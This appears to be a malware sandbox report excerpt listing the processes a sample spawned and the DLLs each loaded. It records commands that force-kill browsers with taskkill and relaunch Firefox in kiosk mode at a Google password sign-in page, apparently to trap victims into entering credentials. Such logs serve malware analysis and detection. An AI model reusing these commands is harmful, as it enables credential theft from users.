Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking	Jump to behavior
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking	Jump to behavior
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2260 -parentBuildID 20230927232528 -prefsHandle 2196 -prefMapHandle 2180 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fe0c0586-83a7-43b9-8399-2172f07386c8} 5788 "\\.\pipe\gecko-crash-server-pipe.5788" 10c97870d10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2896 -parentBuildID 20230927232528 -prefsHandle 2984 -prefMapHandle 2980 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {4b58a39a-4c30-4496-bf91-441cbbeb8dc2} 5788 "\\.\pipe\gecko-crash-server-pipe.5788" 10ca9a99b10 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4972 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 4960 -prefMapHandle 4940 -prefsLen 33185 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ffaf519c-90e4-435c-9280-7aa7be7af943} 5788 "\\.\pipe\gecko-crash-server-pipe.5788" 10caf552710 utility
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe "C:\Users\user~1\AppData\Local\Temp\1000349001\bf119f2261.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: ondemandconnroutehelper.dll
